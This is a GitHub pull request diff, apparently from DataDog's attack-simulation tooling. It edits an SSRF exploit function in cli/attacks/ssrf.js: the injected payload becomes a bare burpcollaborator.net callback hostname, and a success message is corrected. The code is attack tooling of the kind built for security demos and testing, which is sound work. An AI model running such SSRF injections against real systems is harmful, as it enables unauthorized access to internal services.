Merge pull request #18 from DataDog/ccapell/ssrf-attack-changes

Change SSRF attack payload
DataDog · Nov 7, 2024 · 91d8237 · 91d8237
2 parents 2a3e7e6 + 8ed1c41
commit 91d8237
Showing 1 changed file with 3 additions and 3 deletions.
diff --git a/cli/attacks/ssrf.js b/cli/attacks/ssrf.js
@@ -70,7 +70,7 @@ async function exploit(targetURL){
     let info = await createAndLogin(targetURL)
 
     await new Promise(r => setTimeout(r, 2000));
-    payload = "https://ojqweoim23edjkl2ndo23mdi203dm23.burpcollaborator.net:443/"
+    payload = "ojqweoim23edjkl2ndo23mdi203dm23.burpcollaborator.net"
     spinner.text = 'Successful SSRF Injection: ' + payload;
 
     const form = new FormData();
@@ -95,11 +95,11 @@ async function exploit(targetURL){
     await new Promise(r => setTimeout(r, 1000));
     spinner.stopAndPersist({
         symbol: logSymbols.success,
-        text: 'Successful SQL injection attack - done',
+        text: 'Successful SSRF injection attack - done',
     });
 
 
 
 }
 
-module.exports = { createAndLogin, basic1, exploit }
+module.exports = { createAndLogin, basic1, exploit }